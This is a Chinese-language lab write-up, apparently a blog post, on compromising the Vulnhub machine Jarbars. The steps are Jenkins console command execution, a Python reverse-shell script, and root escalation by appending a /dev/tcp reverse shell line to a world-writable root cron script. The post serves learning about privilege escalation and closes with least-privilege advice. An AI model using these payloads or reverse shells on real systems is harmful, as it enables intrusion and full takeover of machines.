首页 > 其他分享 >Jarbars——Cron定时任务提权

Jarbars——Cron定时任务提权

时间:2024-04-06 09:13:27浏览次数:25  
标签:etc crontab Cron 提权 192.168 Jarbars 定时 靶机

#简述

本文借助Vulnhub靶机——Jarbars来学习Cron定时任务提权方式。、

关于cron定时任务提权:
在Linux中 crontab 是一个用于管理定时任务的命令行工具,它允许用户创建、编辑、查看和删除定时任务,以便在指定的时间间隔或特定的时间点自动执行命令或脚本。

/etc/crontab 文件用于管理系统范围的定时任务,它是全局的,与 crontab命令行工具不同,后者是只针对当前用户。

这也就意味着我们可以从这个 /etc/crontab 文件看到任何用户包括root所设置的定时任务,这也是cron定时任务的提权点。

#过程

靶机:192.168.230.223 or 192.168.230.224 (中途ip重新分配了。。都是同一个靶机)
攻击机:192.168.230.128

1、老样子,先使用nmap对C段进行信息收集,确定靶机的IP为 192.168.230.223后再进行端口扫描。
屏幕截图 2024-03-31 191830.jpg
可以看到223靶机开放了 22、80、3306、8080 这几个端口

2、优先选择80端口,使用浏览器访问,显示页面如下所示:
屏幕截图 2024-03-31 192514.jpg
注意到中间的老头,那大概率跟Jenkins脱离不了关系了。。

关于Jenkins:
Jenkins 是一个用于持续集成(Continuous Integration,简称 CI)和持续交付(Continuous Delivery,简称 CD)的开源自动化服务器。它是一个基于 Java 开发的跨平台工具,广泛用于自动化构建、测试和部署软件项目。
1_ByoJvUAuB0L00yk1UhkEiw.png
看到这个或者类似的logo就可以知道是Jenkins了,网上有爆出过很多关于它的漏洞,实战可以用Nday尝试去打。

3、使用dirsearch工具对站点目录扫描
屏幕截图 2024-03-31 193143.jpg

4、得到一个 /access.html 文件
屏幕截图 2024-03-31 193159.jpg
里面包含3串字符串,初步推测为MD5

4、尝试使用cmd5在线工具网站对其进行解密,解密结果如下所示:
屏幕截图 2024-03-31 193409.jpg
屏幕截图 2024-03-31 193431.jpg
屏幕截图 2024-03-31 193451.jpg

5、访问 8080 端口,果然是Jenkins的后台
屏幕截图 2024-03-31 192557.jpg

6、使用 access.html 中的账号和已解密的密码登录,只有第三个能登录成功,进入后台
屏幕截图 2024-03-31 194436.jpg

7、在上图右侧的 系统管理 -> 脚本命令行 处,存在命令执行漏洞
屏幕截图 2024-04-02 085150.jpg
payload:println "whoami".excute().text
屏幕截图 2024-04-02 085015.jpg
payload:println "cat /etc/passwd".excute().text
屏幕截图 2024-04-02 085324.jpg
成功命令执行

8、但是在这里直接使用反弹shell命令无法成功,包括 nc、/bin/bash、/bin/sh等
屏幕截图 2024-04-02 085718.jpg

9、换一种思路,写一个python脚本然后上传到靶机上执行
屏幕截图 2024-04-02 090646.jpg
python脚本:

# !/usr/bin/python
#This is a Python reverse shell script

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.230.128",5555));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

10、攻击机开启http服务,靶机wget这个python文件到/tmp/目录下
屏幕截图 2024-04-02 091442.jpg

11、test.py文件成功传到 /tmp/ 目录下
屏幕截图 2024-04-02 091655.jpg
屏幕截图 2024-04-02 091709.jpg

12、执行 test.py ,成功反弹shell
屏幕截图 2024-04-02 092502.jpg

13、得到的用户是 jenkins,权限比较低,需要进一步的提权到root
屏幕截图 2024-04-02 092526.jpg

14、查看 /etc/crontab 文件,发现有一个定时任务,并且是以root身份来执行,思路来了,可以利用这个crontab提权点进行提权。
屏幕截图 2024-04-02 092853.jpg

15、查看 /etc/script/CleaningScript.sh 这个文件内容,是一个删除日志的命令
屏幕截图 2024-04-02 093337.jpg
再查看它的的权限设置
屏幕截图 2024-04-02 093430.jpg
发现是777,也就是任何用户都能对它进行读写执行

16、输入命令:echo "/bin/bash -i >/dev/tcp/192.168.230.128/666 0>81" >> /etc/script/CleaningScript.sh
追加反弹shell命令到文件末尾
屏幕截图 2024-04-02 103830.jpg

17、等待个几分钟便成功反弹shell,此时的用户是root
屏幕截图 2024-04-02 094635.jpg
同时拿到root-flag

#总结

1、整体思路:web入口点 -> web权限 -> root权限 (中间没有涉及到个人用户权限)
2、这次打靶过程关键在于 /etc/crontab 这个文件,由于设置这个定时任务的用户配置不当,能被攻击或渗透人员成功利用,从而成功提权。
3、针对上述这点,应该坚持最小化原则,按实际需求分配最低的权限或权限低的用户身份来执行相应的定时任务。

标签:etc,crontab,Cron,提权,192.168,Jarbars,定时,靶机
From: https://www.cnblogs.com/gsh23/p/18117135

相关文章

  • 鱼哥赠书活动第16期:看完这篇《权限提升技术》成为黑客提权大神!!!
    鱼哥赠书活动第16期:看完这篇《权限提升技术》成为黑客提权大神!!!赠书抽奖规则:往期赠书福利:网络安全已经成为当今社会非常重要的话题,尤其是近几年来,我们目睹了越来越多的网络攻击事件,例如公民个人信息泄露,企业遭受蠕虫病毒、勒索病毒的攻击等。这些事件不仅给个人和企......
  • kerberos-MS14-068(kerberos域用户提权)
    微软官方在2014年11月18日发布了一个紧急补丁,Windows全版本服务器系统受到影响,包括WindowsServer2003,WindowsServer2008,WindowsServer2008R2,WindowsServer2012和WindowsServer2012R2,修复了MicrosoftWindowsKerberosKDC(CVE-2014-6324),该漏洞可导致活动目录整体权......
  • Linux提权——SUID&SUDO(Vulnhub靶机)
    #简述1、SUID提权SUID是Linux中的一中特殊权限,SUID可以让二进制程序的调用者以文件拥有者的身份运行该文件。如果对于一些特殊命令设置了SUID,那么就会有被提权的风险。而这个SUID提权的关键就是,找到root用户所拥有的SUID的文件&命令,运行该文件或者调用命令时,暂时拥有root权限,......
  • Cron在线表达式生成器
     原文连接 https://cron.ciding.cc/ 每秒允许的通配符[,-*/]  周期从  到  秒  周期从  秒开始,每  秒执行一次 指定  表达式表达式字段  秒分钟小时日月星期年Cron表达式  反解析最近5次运行时间......
  • 权限提升-Linux系统权限提升篇&Vulnhub&PATH变量&NFS服务&Cron任务&配合SUID
    知识点1、Web或普通用户到Linux-服务安全配合SUID-NFS2、普通用户到Linux-环境变量配合SUID-$PATH3、Web或普通用户到Linux-计划任务权限不当-Cron章节点:1、Web权限提升及转移2、系统权限提升及转移3、宿主权限提升及转移4、域控权限提升及转移基础点0、为什么我......
  • cron服务
    Cron文件:Cron服务使用一个特定的配置文件来存储任务和其执行计划。在Unix系统上,这个文件通常是/etc/crontab,或者是位于/etc/cron.d/目录下的其他文件。这些文件包含了任务的定义,包括执行时间和要执行的命令。类似于编辑文件如下:在Cron文件中,每行代表一个定时任务的定义......
  • Linux Crontab定时表教学大全(一看就会!)
    概述:    crontab是Linux内非常方便的一个定时工具,它可以实现定时的去执行一个脚本,最近也是刚接触到这个工具,跟大家分享一下!详细概念:Crontab 是一种在类Unix系统(如Linux、FreeBSD、Solaris等)中用于设置和管理定时任务的实用工具。通过编写 crontab 文件,用户......
  • cron 中开启协程执行任务
    cron中开启协程执行任务‍packagecronimport( "project/internal/jobs" "github.com/robfig/cron/v3")funcRun(){ c:=cron.New(cron.WithSeconds())//每分钟的第40秒执行 c.AddJob("40,*****",jobs.OneMinuteJob{}) //启动一个......
  • Cron 表达式解析
    Cron表达式解析Cron表达式是一种强大的工具,用于在特定时间自动执行计划任务。无论是在服务器维护、数据库备份,还是在发送定时邮件等场景,cron表达式都能提供精确的时间控制。Cron表达式的基本结构Cron表达式由6或7个由空格分隔的时间字段组成,每个字段代表了不同的时间单位:......
  • windows系统提权—内核提权
    内核提权用到这个提权脚本,是用来检测失陷主机是否存在可用的提权脚本原理是靠失陷主机systeminfo里面当前系统的信息查看是哪个版本的windows主机,会从官网的查询当前版本的widows系统存在哪些提权漏洞,根据这些漏洞对应的补丁有没有打上提权步骤受害主机win7攻击者......